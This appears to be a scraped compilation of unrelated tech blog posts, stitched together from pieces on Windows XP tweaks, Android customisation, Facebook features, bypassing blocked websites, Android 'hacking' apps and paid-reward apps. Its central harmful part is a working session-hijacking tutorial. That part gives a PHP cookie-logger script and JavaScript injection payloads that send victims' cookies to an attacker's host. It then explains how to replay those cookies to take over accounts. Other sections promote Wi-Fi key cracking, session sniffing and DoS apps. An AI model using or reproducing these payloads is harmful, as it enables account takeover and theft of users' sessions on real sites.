HACKING WINDOWS XP

• Get ready for some down-and-dirty hackin'! Over 200 serious hacks readers can use to force Windows XP to do it their way, written in the ExtremeTech no-holds-barred style
• Sinchak doesn't waste time tweaking Movie Maker or Instant Messenger-these hacks are heavy-duty, detailed instructions for squeezing every drop of power from Windows XP and maximizing speed, appearance, and security
• Not for the faint of heart! This book is written for users who aren't afraid to roll up their sleeves, risk voiding their warranties, take total control of the task bar, uninstall programs that are supposedly permanent, and beef up boot speed
• Mines gems like unlocking hidden settings, customizing boot screens, supercharging online and program launch speed, maximizing the file system and RAM, and dumping hated features for good
• Written by the creator of TweakXP.com, a site considered Mecca for Windows hackers and trusted by more than ten million Windows XP users worldwide
• Includes a hacker's dream CD-ROM with a set of ready-to-install hacks, theme creation tools, custom boot screens, "undo" files that help the reader tinker with Windows XP's registry, and a whole lot more

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Session hijacking or cookie stealing using php and javascript

In computer science, session hijacking refers to the exploitation of a valid computer session—sometimes also called a session key—to gain unauthorized access to information or services in a computer system. In particular, it is used to refer to the theft of a magic cookie used to authenticate a user to a remote server. It has particular relevance to web developers, as the HTTP cookies used to maintain a session on many web sites can be easily stolen by an attacker using an intermediary computer or with access to the saved cookies on the victim's computer (see HTTP cookie theft).

Here we show how you can hack a session using javascript and php.

What is a cookie?

A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.

What can we do after stealing cookie?

Well,as we know web sites authenticate their user's with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.

This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.

PHP Code:
<?php

function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();

$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");

if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}

logData();

?>

Save the script as a cookielogger.php on your server.
(You can get any free webhosting easily such as justfree,x10hosting etc..)

Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies will be automatically stored here.

Now for the hack to work we have to inject this piece of javascript into the target's page. This can be done by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites dont allow javascript so you gotta be lucky to try this.

The best way is to look for user interactive sites which contain comments or forums.

Post the following code which invokes or activates the cookielogger on your host.

Code:
<script language="Java script">
document.location="http://www.yourhost.com/cookielogger.php?cookie=&quot; + document.cookie;
</script>

Your can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.

Code:
<a href="java script:document.location='http://www.yourhost.com/cookielogger.php?cookie='+document.cookie;">Click here!</a>

Clicking an image also can activate the script.For this purpose you can use the below code.

Code:
<a href="java script:document.location='http://www.yourhost.com/cookielogger.php?cookie='+document.cookie;"&gt;

<img src="URL OF THE IMAGE"/></a>

All the details like cookie,ipaddress,browser of the victim are logged in to log.txt on your hostserver

In the above codes please remove the space in between javascript.

Hijacking the Session:

Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin or you may find other plugins as well.

Go to the target site-->open cookie editor-->Replace the cookie with the stolen cookie of the victim and refresh the page.Thats it!!!you should now be in his account. Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573

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Hack The Droid: 12 Awesome Tweaks For Your Android Device

One of the reasons I switched over to Android was because a DIY geek like me loves the thrill of customization. My previous smartphone was merely a fancy keyboard on something that could call and text. I rarely installed apps on it or even tinkered with it. Once I got a hold of an Android phone though, everything changed and I was eager to personalize my new Google-powered device.
A lot of people think that hacking involves a lot of work and even more risk. It’s partly true: messing around with the software of your phone might void your warranty and, in extreme cases, turn it into a lifeless brick. The good news is that Android enthusiasts the world over have risen up to the challenge and made it very easy to take your phone to the next level. All you need are a few software tools, a good set of instructions and a pinch of audacity to make that little green robot serve your whims.

Change Your Android’s Look And Feel

1. Create Your Own Ringtones

Back when Nokia was still in everyone’s pockets, custom ringtones were all the rage. It was often the only thing you could personalize in a cellphone those days. Fast forward a decade or so to Android and you have Ringdroid, your go-to app for creating custom ringtones. It not only does it let you splice and dice tracks from your music library, you can even record your own tracks. From there, you can set it as your main ringtone, an alarm or an SMS notification.

2. Show Off Flashy Live Wallpaper

One nice piece of eye candy that Google introduced a while back was live wallpapers. These replace the usual static wallpaper on most phones with an ever-changing backdrop. It can be as simple as colors changing softly to something complex like dynamic maps of your current location or backgrounds that change with the weather and time of day. They might be a bit battery draining for some phones though but if you want to try them out, you can start your hunt for live wallpapers here.

3. Personalize Your Home Screen 

The basic Android home screen is great but if you want to really bring it up a notch, there are several alternative launchers that give both a fresh new look to your phone and some nice added functionality. Some of these added features include folders for sorting apps, onscreen notifications and quick menu shortcuts. LauncherPro is the most recommended one and it gives you a scrollable app dock, custom icons, pop ups and more. Other highly-rated home screen launchers to try are ADW.Launcher, SlideScreen and GO Launcher EX.

Tweak It With Apps And Widgets

4. Make Your Screens Useful With Widgets

We already talked about a few widgets that are must-haves a while back. It’s one of the special features of Android, having mini apps running on your home screen (or screens) that give you instant access to your calendar, music player, Twitter feed and more. You can even create your own through a powerful app called Widgetsoid. Widgets are always a staple in my home screens and all I can say is that they really make my phone that much easier to use.

5. Manage Your Android Files

People often forget that phones these days are PCs as well. If you want to have full control over the files in your phone storage and SD card, you need to get a file manager to help you do the job right. I personally swear by Astro which acts much like Explorer for Windows (or Finder for Mac). It lets you search for files, install and backup apps, email files as attachments,create and extract zip files, and do much more.
If moving files between devices is what you need, you can use AndFTP for FTP downloads and uploads. For local transfers, there is On Air which turns your Android device into a disk that connects over WiFi for no-plug, over-the-air transfers.

6. Monitor Tasks And Data Usage

In mobile, battery is gold and running out of juice is never an option. In order to quell the uprising of rebellious, battery-hungry apps, you need to use a task manager. Watchdog Task Manager is one such beast. It will notify you if an app goes astray and uses up too many CPU cycles. You can even give it the thumbs down, Roman emperor-style, and kill the wayward app if it displeases you.
Another canine-named app that’s quite useful is 3G Watchdog. It helps you rein in your 3G connections so that you don’t go over your data plan and take a hit on your next billing.

7. Use A New Keyboard

If the stock keyboard of your Android phone isn’t to your liking, you can change that as well. Swype, an app familiar to Samsung owners, is one of the more innovative keyboard options. It lets you swipe your finger to complete words instead of pecking on the tiny onscreen characters. It does offer a different layout but onc you get used to it, you’ll be writing messages and emails faster than ever. It’s not for everyone though but there are other keyboards you can try such as SwiftKey, SlideIT and Better Keyboard.

Secure Your Android

8. Seek And Retrieve A Lost Phone

Losing a phone is stressful. It’s not just because you misplaced a device that cost you a significant chunk of change; you also lose all the personal data stored in it, a scary thought if you have bank account numbers, your home address or your kids’ phone numbers in there. Fortunately, finding your phone can be done easily with an Android App. Prey is a free app that does just that and it not only lets you track your phone, you can also let it belt out an alarm or lock your lost device for added security.
If you need more features, WaveSecure is the way to go. On top of the features above, it lets you backup data on the web, restore data, track SIM card changes and remotely wipe your lost phone’s memory.

9. Protect Your Passwords

With all the security holes being found in Android and its apps, it’s probably high time you looked into the security settings on your phone. If you’re installing an experimental app, make sure to read the permissions it gets access to before installing it.

You might also want to get a password manager both to protect your sensitive logins as well as to make it easier for you to get into your favorite sites. Password managers like 1Password and Lastpass not only lockdown your passwords, they also let you grab the passwords you save on your computer if you use the desktop versions.

Go Hardcore

10. Reveal Hidden Android Settings

There are a lot of behind the scenes magic going on in your Android device which the powers-that-be have made hidden for one reason or another. If you want to play around with those, grab Spare Parts from the Market and tweak your window animation speed, WiFi sleep policy and screen font sizes with ease. A caveat: some tweaks might not work so proceed at your own risk!

11. Gain Superuser Access By Rooting

Gaining root or superuser access to your phone opens up some very cool features to regular Joe users like us. You can backup your entire phone, take screenshots, use AdBlock and set the speed of your phone’s processor among other neat tricks. In addition, it’s particularly easy to root Android phones these days (especially the earlier models) and there are many apps available that make this process as painless as possible. Note though that rooting voids your device’s warranty, so fair warning. Read our newbie guide for rooting if you need more info on how to do this deed.

12. Install A Custom ROM

The pinnacle of Android hacking is the use of a custom ROM. Essentially, you will be replacing the OS currently in your phone with another version of Android. CyanogenMod is the most-oft used ROM and it has a variety of great features such as OpenVPN, incognito browsing (similar to that of Google Chrome) and theme support, among others.
Other ROMs available let you copy the interface of other phones (HTC Sense is one often ported), upgrade to a later Android version like Gingerbread or Honeycomb or optimize your phone for speed, battery life and stability. While there is the danger of permanently bricking your phone if a ROM flash goes bad, those that follow the instructions to the tee won’t have any issues. Well, most of the time that is.
If you’re feeling a bit naughty, you can even install Android on an old iPhone. But that’s just between you and me…

Top 5 Hidden Facebook Features You Must Try

Facebook is one of the most popular social networking websites presently. However the founders have set the age limit of minimum 18 years to use Facebook but numerous underage kids are also using it by adding their fake date of birth. Anyways this is not we are going to talk about. What I am going to discuss here today is the hidden Facebook features which can  be treated as some Facebook tricks.
Yes, there are many features in Facebook which a common man is not aware of. Let me check if you about them or not.

Have you ever used the features like forwarding the messages, managing the contact lists, privacy settings for the photo you are tagged in, your own profile views as others see it and maximum usage of joining a specific college group?
I am sure not everyone reading this post might have used them. Let me make these features a bit explicable to you.

How to forward message in Facebook

Forwarding a message is very good feature and now you can use it on FB also. You can now share your messages with more of your friends just by forwarding it. No need to copy-paste it anymore. It Is very simple, just open the message you want to forward and click ‘Action’ on the top right, you will get a drop-down menu. Then click ‘Forward’.

You will then see a message saying ‘select the message you want to forward’. Select the desired messages and then a message box will open. Add the name of friend whom you want to forward the message. Click ‘Send’ and you are done.

How to manage the contact list in Facebook

Whenever you add a friend in your Facebook profile you get a prompt of ‘add to list’. Do you what is this and how to use it? Basically Facebook provides you a few lists to categorize your friends. The best part is that you can create your own list as well.
I don’t know you are aware of this or not but you can personalize your settings with these contact lists. You can decide which of your posts, pictures or status updates can be seen by which of your friends. You can also create your custom list to add contacts from your school, family or locality separately.

View your profile as others

Have you ever thought what your profile look like when others view it? This feature will let you view your own profile same as others do. All you need to do is to go on your profile page and just below your cover photo you will see a tab ‘Activity Log’.  Click on the dropdown and you will see ‘View As’.

When you will click on ‘View As’ you will get a page saying ‘Enter a friend’s name’. Here you have to enter the name of friend you want to check your profile appear as.

You will then see how your Facebook Timeline appear to that particular friend.

How to use join you college group in Facebook

Not much people know but at the time of its inception, Facebook was designed specifically for the college students and one needed an EDU mail address to create an id in FB. Afterwards FB became public but now the feature is back. You can now join your specific college or school groups by searching it in ‘Groups OF Schools’.
Just enter your EDU mail and you will be directed to your college or school group.

How to control the post you are tagged in

I have faced the situation many times when my friends tag me in some horrendous pictures and my family also comes to know about it. But now when I know the fantastic feature of Facebook I can control the post I am tagged it.
Just go to the privacy settings and click on ‘Edit Settings’ in front of ‘Timeline and Tagging’.

Here you can select the friends or family you want to see the pictures you are tagged in.

So, if you haven’t yet used these hidden Facebook features, try them. You will surely be a bigger fan of Facebook.

How to Install and Run Android in PC [Windows and Linux]

 
The mobile smartphone and tablet industry seems to have a very prominent divide, with a lot of consumers having their favorite operating system and choosing to stick to hardware which is powered by their chosen OS. Obviously fans of Apple’s iOS use the iPhone and iPad devices, whereas Android lovers have a wide range of hardware to choose from due to the fact that the OS is available to multiple manufacturers.

Here are Some Steps Given to Install Android On Your PC.

Step 1: Install official Oracle VM VirtualBox Go Here & download the relevant VirtualBox binary for your computers operating system (Windows/Mac OS X/Linux/Solaris)

Download VirtualBox

Step 2: Find the saved location of the downloaded VirtualBox and install on your PC by following all screen prompts and instructions.

Must Read : Send and Receive WhatsApp Messages on Windows PC

Step 3: Now Download a copy of Android v4 Ice Cream Sandwich it is of size 88MB so the download may take some time depending on your connection.

Download v4 Ice Cream Sandwich

Step 4: Locate the downloaded ‘Android-v4.7z‘ file and extract the contents of it.

Step 5: Once the Android-v4.7z file has been opened, locate a file called ‘Android-v4.vbox‘ which can be directly opened in Virtualbox

Step 6: Double click on the Android-v4.vbox file which will load the VirtualBox application and boot up the ICS file.

Step 7: When the boot menu is presented in VirtualBox, press ‘start‘ on the top toolbar and then if required select the ‘Android Startup from /dev/sda‘ option.

Step 8: All steps are complete. Android 4.0 ICS should now be booting up allowing you to enjoy that Android in your PC, It just look like a TABLET

15 Ways to Gain Access To Blocked Websites

In Past I Have Described the Simple Trick to Access Blocked Sites like Facebook, YouTube, etc.Today I Brought Something Cool For You.In our schools and offices, some sites specially social networking websites like MySpace and facebook are often blocked. While visiting these blocked websites on the Internet, your IP address is being logged with each file you download with your web browser.

Using following 15 basic ways you can unblock those websites and gain access by bypassing the filters and keeping your identity safe from being logged.
1. Web proxies

Many free online services allow you to access blocked websites through a proxy server. An anonymizer or an anonymous proxy is a tool that attempts to make activity on the Internet untraceable. It accesses the Internet on the user’s behalf, protecting personal information by hiding the source computer’s identifying information. There are literally thousands of anonymous proxy servers out there. Like; Proxy.org, HideMyAss.com, Vtunnel.com, Anonymouse.org. See the Master List of all Web Proxy Servers by Proxy.org
2. VPN connections

A VPN (Virtual Private Network) is like a tunnel over the public network. The advantage of using VPNs over web proxies is that VPNs are more secure because they are using advanced encryption and allow you to access all the applications (mail, chat, browser etc) in complete anonymity and not only the web sites. The most known free VPN are, UltraVPN and ProXPN.
3. Hide IP software

These are easy to use and even if the main functionality is to hide IP address and unblock websites, there are applications that can provide you more than that – like cleaning online tracks, testing proxies, manually adding proxy etc. Usually if you choose a free software, then this will provide you a minimal number of proxies and no other features than hiding IP address. Among Free IP Hiding tools, UltraSurf, NotMyIP, IPHider are most popular ones.
4. Firefox add-ons

FoxyProxy is a small add-on for Firefox that allows users to access blocked sites. Offcourse (above discussed) IP hiding software are there which you can use to access blocked website but when you are in an office environment or school where you are restricted to install a program and you need to access certain blocked sites, then this add-on to the browser is a quick solution.
You may also check other similar addons, like SwitchProxy or AutoProxy.
5. Translation services

You can also use Web Translation Service to unblock a website. Insert the link of the blocked website in the translation field and select a different language (other than English) in “Translate from” drop down box and select English in “Translate into” box. This may not work everytime but it still works sometimes.
6. Google cache

Google takes a snapshot of each (indexed) webpage examined as it crawls the web and caches these as a back-up in case the original page is unavailable. If you search anything on Google and click on the “Cached” link (below each search results) on the search results page, you will see the web page as it looked when Google last indexed it.
So, you can use cached pages of website that is blocked to you.
In the Google search field type cache: before the URL of the blocked website. For example type cache:http://www.tipsotricks.com
7. Internet Archive

Internet Archive allows you to view blocked websites through the Wayback Machine. This will retrieve all pages of a specific website indifferent if the website is blocked. Open Wayback Machine, put the desired address and view the old and indexed pages of websites.
8. Web2Mail service

Web2Mailis a free email service that can send to your email address specific web pages. You sign up for an account and get set to receive complete HTML websites (with Images and Graphics) by email.
9. Change the http of an URL into https
This is probably the easiest way to access blocked websites. Offcourse, this might not work every time but still this is the fastest one.
Just put the address of the blocked website like:
https://www.yourdomain.com
10. IP address of the website instead of URL

To use the IP address of a website instead of URL, you must first find its IP. To do this open command prompt and type: “ping domain.com”, you’ll get the IP address of the website. Note the IP and put that in browser’s address bar. This method has relatively higher chances of getting access to blocked sites. 

11.Redirection with Short URL service

Sometimes converting the URL into some undersized URL by using Short URL Services we can easily access banned websites. Here are some Short URL services MooURL, SnipURL, TinyURL

12.Use Google Mobile search

Blocked web pages can access by using Google mobile search, but output may not be optimal. This is very similar to using a Web proxy.

 13. Subscribe to RSS Feed

If the site you want to visit supports the RSS feed, you can easily subscribe and read it with an RSS reader. You can also regularly send the contents of the web to your email using Feed service.

14. Get Web Pages via email

This is useful way if you need a single Web Page. Obviously accessing large files is not possible in that way. Web2Mail provides us free services that send websites to our email addresses. All you need to do is send an email to www@web2mail.com with the URL as subject title.

 15.Use alternate content providers

When everything fails, you can use alternate service providers. For example if Gmail is blocked at your place, you can take another obscure mail address and enable email forward at Gmail.

Top 12 Android Apps to Turn Your Smartphone into a Hacking Device

 Mobile devices is now very common now a days and mobile devices has changed the way of bi-directional communication. There are many operating system for mobile devices available but the most common and the best operating system for mobile is Android, it is an OS means you can install other applications (software's) on it. In Android application usually called apps or android apps.

The risk of hacking by using mobile devices is very common and people are developing and using different apps (application) for their hacking attack. Android has faced different challenges from hacking application and below is the list of application for android hacking.

1. SpoofApp

Here is an app that spies at heart could use – SpoofApp. It allows you to use a fake Caller ID – a number that you are free to specify yourself, in order to protect your privacy or to pull a prank on someone. Sounds like fun, doesn’t it? Well, Apple didn’t think so, which is why it never allowed the app to enter its App Store. Google, however, didn’t mind, which is why SpoofApp was available on the Android Market for about two and a half years. However, it was banned from there last year as it allegedly was in conflict with The Truth in Caller ID Act of 2009.This can be useful in social engineering.

Download it from here

2. FaceNiff

Requirements: Android 2.1+ (rooted)
Overview: FaceNiff is an Android app that allows you to sniff and intercept web session profiles over the WiFi that your mobile is connected to.

It is possible to hijack sessions only when WiFi is not using EAP, but it should work over any private networks (Open/WEP/WPA-PSK/WPA2-PSK). It’s kind of like Firesheep for android. Maybe a bit easier to use (and it works on WPA2!). Please note that if webuser uses SSL this application won’t work.

Legal notice: This application is for educational purposes only. Do not try to use it if it’s not legal in your country. I do not take any responsibility for anything you do using this application. Use at your own risk

Learn More: http://goh4x.blogspot.in/2012/09/how-to-hack-friends-facebook-account.html

3. Penetrate Pro

Root is required.

The most of the times you scan the Wi-Fi networks available around, they’re protected with key. Penetrate is an app that help you out with that. If the routers of that Wi-Fi networks are encrypted with WEP/WPA it will bring you the keys to access them. This seems a sort of cracking, but the developers says it isn’t, because it’s supposed to get the keys for penetration testing and you should use it only with permission from network owners. Well, apart from those regardings, it does what it says. Check the developer description to know which routers are supported.

Take in account that if you have an antivirus installed in your device, it will warn you about this app. The developer says it’s normal because it’s a security-related tool. Penetrate isn’t a danger for your phone.

This is the paid version (€1.99) that contains no ads, some more features and sponsors further development. What’s more, it allows you to use 3G to get the password instead of using dictionaries that you will have to download in the free version.

Penetrate works properly with the range of routers supported. We’re missing more though. Despite the apparent use for which it was developed this application, we all know the “regular” use. And if you’re looking for it, give it a chance. It’s a great app.

Download it from here

4. Anti-Android Network Toolkit

ROOT Required

Anti-Android Network Toolkit is an app that uses WiFi scanning tools to scan networks. You can scan a network you have the phone connected to or you can scan any other nearby open networks. Security admins can use Anti to test network host vulnerabilities to DoS attacks and other threats.

5. Andosid

AnDOSid is the application which is used for DOS attacks from Android mobile phones.

6. Nmap For Android.
Nmap is a network scanner tool which gives the entire information of the ip address and website. There is a version of nmap for Android users too, with the help of this app hackers can scan the ip's through mobiles.

7. The Android Network Toolkit
The Android Network Toolkit is an complete tool kit for the pentesters , where hackers can find expolots using the mobile and penetrate or attacks the ip's according to their vunerabilities.

  

8. SSHDroid- Android Secure Shell

Secure shell or SSH is the best protocol that provides an extra layer of security while you are connecting with your remote machine.SSHDroid is a SSH server implementation for Android.
This application will let you to connect to your device from a PC and execute commands (like "terminal" and "adb shell").

10. WiFi Analyzer

WiFi Analyzer is one of the most popular applications in the Android Marketplace, which is really a testament to how wildly useful this tool is for both the average user and the more technically inclined. In the most basic of terms, WiFi Analyzer is a tool to scan the area for WiFi networks and determine which channel is the least populated so you can adjust your own hardware to a less congested part of the spectrum.

11. ConnectBot
ConnectBot is an exceptionally well done SSH/Telnet client, which also acts as a terminal emulator for the local Linux sub-system. While there are better terminal emulators (though not for free), there is no question that ConnectBot is the absolute best SSH client available for Android.

12. Network Discovery
Network Discovery is a handy tool for finding and enumerating devices on public WiFi networks. Network Discovery uses a simple ping scan to find hosts on the network, and then allows the user to select one of the found hosts to target for a TCP connect() scan.

Bonus :  dSploit
dSploit is an Android network analysis and penetration suite which aims to offer to IT security experts/geeks the most complete and advanced professional toolkit to perform network security assesments on a mobile device. Once dSploit is started, you will be able to easily map your network, fingerprint alive hosts operating systems and running services, search for known vulnerabilities, crack logon procedures of many tcp protocols, perform man in the middle attacks such as password sniffing ( with common protocols dissection ), real time traffic manipulation, etc, etc .

Well I Have Installed Them All ! Have You ? If Yes, Then Please Share Your Experience Through Posting a Comment Below

ANDROID APPS THAT PAY

 

Smartphones are great but they are also very expensive to own. Fortunately there is a growing number of ways to make extra money with your smartphone. I have been downloading and testing apps that pay you for close to two years and I would like to share some of the best ways to make extra cash with your Android. These apps probably won't make you rich but they will help offset the high costs of your phone and add some extra spending money into your pocket each month if you use them

Checkpoints

Get Paid To Check In And Scan Items

I really enjoy using this app to get paid for going on scavenger hunts at local stores, it is not the only a way to make extra money with your Android but it is one of the most fun. Checkpoints is the best paying app, that I have used, that is currently available for Android. With Checkpoints you are paid to check in to stores and scan products. You earn between 10 and 50 points for each scan and you get at least 1 coin. Each coin is worth a chance to spin the slots or play a scratcher. The games pay 20, 50, 5,000 or 150,000 points if you win.

Update - As of January 29th, 2013, I have been paid by Checkpoints a total of 35 times. My total earnings to date are $425.00 in gift cards.

Prizes start at 300 points which will get you a $1.00 gift card. Points can be redeemed for different prizes such as: Amazon Gift Cards, Subway Gift Cards, Sky Miles, iTunes Gift Cards, iPads, or laptops. You are also given the option to donate your points to a charity of you choice. I personally have only ever ordered Amazon and iTunes gift cards, at this point I have earned $210.00 using Checkpoints in my first year. Make sure you read, understand, and follow the terms and conditions. If you don't they can close your account and you can lose your balance. Usually the way people lose their accounts is by misrepresenting the referral program and by posting their affiliate links in the iTunes reviews.

When you cash out you are usually paid within a day, sometimes they have to review your account and that can take up to a week. There is a decent referral program, currently it pays the referrer 5 coins and the referral 300 points at sign up. Recently Checkpoints did a major upgrade to offer new ways to earn points anywhere. You can now scan certain items at home, download apps, and watch very short videos about apps to earn.

Here is the link to download Checkpoints from the Google Play Store for free on Android: Checkpoints
My code is sodaguy I really appreciate anyone using it.

Shopkick

Get Paid To Check In To Stores And Scan Products

Shopkick is an app that is similar to Checkpoints. It pays you to check into stores with your Android, iPhone, or iPod Touch. You will also be paid to scan selected items and shop at certain retailers. I initially left Shopkick out of this lens since I only made $15.00 in gift cards for the first year that I used it. They have added paid check ins nationwide this year and in the last month they rolled out Shopkick 3.0. This App is now a great earning opportunity. After being paid 11 times my total earnings with Shopkick are currently $120 in iTunes gift cards.

Update - As of January 19th, 2013, I have been paid by Shopkick a total of 16 times. My total earnings to date are $170 in iTunes gift cards.

With Shopkick you earn virtual points called Kicks that you can redeem for physical items, gift cards, or even charitable donations. The value of most gift cards to places like Starbucks, Target, Best Buy, and Toys R Us, or Old Navy is 2,500 Kicks for a$10.00 gift card but they offer most cards in different denominations above $10.00. There are other rewards that can cost much more or less depending on the reward.

When you open the Shopkick you will see a list of all the available kicks in your area. The walk ins will vary significantly depending on the store and whether there is a bonus available. The best walk ins can be found at Shopkick's main sponsors which include: Target, Best Buy, Macy's, American Eagle, Old Navy, and Aerie. They have introduced something called Look Books in Shopkick 3.0 where you can earn a larger walk in that is generally between 85-125 Kicks each but you need to look through the sales and coupons inside the app for the store you will be walking into. Sometimes you can find small 1 to 3 Kick bonuses inside the Look Books. After you get a walk in the app will let you know how many days until you are eligible for another walk in bonus.

After you walk in to some stores including Target, Best Buy or Macy's, you will sometimes be able to scan certain products for bonus kicks which will vary between 10 kicks to100 and sometimes even more per item. You can only do a certain number of scans on each item in a 30day period, if you are past the limit the app will tell you when you try to scan the item again. There are bonus sets for some scans will pay you between 50 and 100 kicks to complete the scan mission. Unlike Checkpoints, Shopkick is very particular about item scans so if you do not scan the exact item, instead of the brand, you will not get credit for the scan.

Shopkick puts on several different events at retail chains throughout the year, this is when you can earn the most kicks. The biggest retail event is Black Friday and they like to pretend it is Black Friday several times throughout the year. Sometimes retailers will have big Shopkick events to drive extra customers to their sales. I got a huge amount of Kicks at a week long Macy's event earlier this year when they had 200 Kick check ins and 12 different items at 100 kicks per scan.

The Shopkick referral program with Shopkick 3.0 is now very generous. The amount you get per referral is a match of their earnings for the first month up to 2,500 Kicks and up to 100 referrals. Sometimes Shopkick provides gifts that a referrer can send to referrals, I send them whenever I get the chance.

They require you to give them the phone number for the device you will install Shopkick on for verification purposes. I have used Shopkick for two years and I have never received a call or text message from them.

Here is my Referral Link, I appreciate anyone using it. http://get.shopkick.com/neptune1499

Here is a Non-Referral Link if you would prefer: http://shopkick.com

Swagbucks

Get Paid To Search

Swagbucks is a bit of an anomaly since it is the only program I have used that has an official Android App but no official iPhone App. There are actually 2 official Android Apps, one is for searching and one is for watching videos through SBTV. Swagbucks pays you points for doing many different activities that include: searching, watching videos, playing games, voting in polls, and making purchases. On July 25, 2012 Swagbucks announced the addition of a mobile optimized site.

Update January 5th, 2013 - I have been paid a total of 81 times by Swagbucks. My total earnings are $474.00 in gift cards and PayPal Cash.

I can't stress enough how important it is to pay attention to the daily goal in Swagbucks. Once I started to do this a couple of months ago my daily earnings went from about 20-25 dollars a month to at least 50 dollars or more per month. It is a really simple change that can increase your earnings substantially.

With Swagbucks search, most wins are between 6-12 SB but I have gotten as much as 50 at a time. When you watch SBTV you earn 3 swagbucks for every 10 videos you watch with a maximum of 75 SB per day. Points are redeemable for things like Physical prizes, PayPal cash, and gift cards.The $5 Amazon Gift Cards cost 450 SB, where the $5 PayPal cards cost 700 Swagbucks. The Amazon cards go up in price for larger denominations and the Paypal price goes down, the other gift cards and physical products vary in prices.

Swagbucks gets their search results from Google but tend to be a little different since they sell their own ads. The referral program pays you matching SBs for every search win your referral makes with a maximum of 1000 SB. This means that after your referral gets 1000 SB you don't get paid from them anymore. If they don't reach 1000 you get a matching amount for whatever they do make.

I have been using Swagbucks now for about a year, my total earnings to date are 18,995 Swagbucks and I have 51 referrals. The only downside to the referrals is that more than 50% have not ever had a search win. My earned swagbucks are the equivalent of $211 worth of $5 amazon gift cards, the last time I checked there was a limit of 5 in a month. I really like using Swagbucks and I have found it to be an extremely fun and easy way to make a little extra cash.




My referral link is http://Swagbucks.com and I would really appreciate anyone using it.

Here is the link for the free Swagbucks search widget for Android: Swagbucks Search

Here is the link for the free SBTV app for Android: Swagbucks TV

JunoWallet

Get Paid To Download Apps

JunoWallet is an app for Android and Windows Phone 7. It pays you to do different tasks like watch videos and download other apps. There is a different version called BambooWallet that is available for IOS. With JunoWallet you are paid in JunoCredits that are redeemable for gift cards including, but not limited to: Google Play, Starbucks, iTunes, Amazon, and Xbox. Each Junopoint is worth .01 and the lowest priced gift card is $10.00 but the amounts can vary depending on which one you pick. I have been using this app for about 7 months and I have made a total of $40 in iTunes and Google Play gift cards.

Update December 31st, 2012 - I have been paid a total of 5 times by JunoWallet. My total earnings are $50.00 in iTunes and Google Play gift cards.

With the JunoWallet App there are several different offer walls that you can complete offers on. Under rewards per engagement there are apps you can download for 16 Juno credits each. At the time of this writing there were offers from Everbadge, SponsorPay, W3i, Aarki, Radium One under the rewards per task tab. There is a rewards per video tab that gives you several videos to watch each day. Most videos are about other apps and pay 1 JunoCredit each. The Rewards Per Fan tab has offers that pay you to like pages on Facebook.

JunoWallet has a generous, but somewhat confusing, referral program that pays the referral 25 JunoCredits which is .25 and pays the referrer for 3 levels. The referrer gets 50 credits for the initial referral which is level1, and then 25 credits each time the referral gets referrals which become 2, and 50 credits for that referral's referrals which are level 3. Referral bonuses are locked until the referral makes a qualified install, meaning they need to download an app, and also make at least $1.00. The $1.00 minimum does not include rewards per fan or rewards per referral.

Please use my referral code SA65925 when you sign up that way we can both get extra points. If you use my code, I will send you a welcome message from within the app, sometimes it takes up to a couple of weeks. If you have any questions or need help please reply to my message and I will do what I can to help.

Here is the free download link for Junowallet on Android in the Google Play store.

Appredeem and Apptrailers

Get Paid To Download Apps and watch short videos

AppRedeem is apps for Android that pay you to download apps and rate them on their site. Apptrailers is a companion app that you use with the same account to watch short videos about apps. Appredeem usually pays a little more on iPhone but is a still a worthwhile opportunity for Android. I have been using Appredeem and AppTrailers for about 9 months and I have been paid 17 times for a total of $113.77 in PayPal cash. $10.83 of my total was a duplicate payment that Appredeem support told me to keep.

Update - As of January 4th, 2013, I have been paid a total of 22 times by AppRedeem . My total earnings to date are $219.47 in PayPal cash.

Although I do recommend using these apps for downloading free apps and watching videos, I tried purchasing a paid app and I was not credited for rating it. I contacted support about it a couple of times but I did not receive a reply. I suggest only downloading free offers or apps unless you plan to make that particular purchase anyway.

With Appredeem you are paid points.1000 points is equal to a dollar that you can redeem for either in PayPal cash or gift cards. All you need to do is download free or paid apps and you will usually receive between 90 to 200+ points each in AppRedeem. Offers have a wide range of point values and videos on AppTrailers are usually about 5 points each but the gold ones can pay 10 points or more.

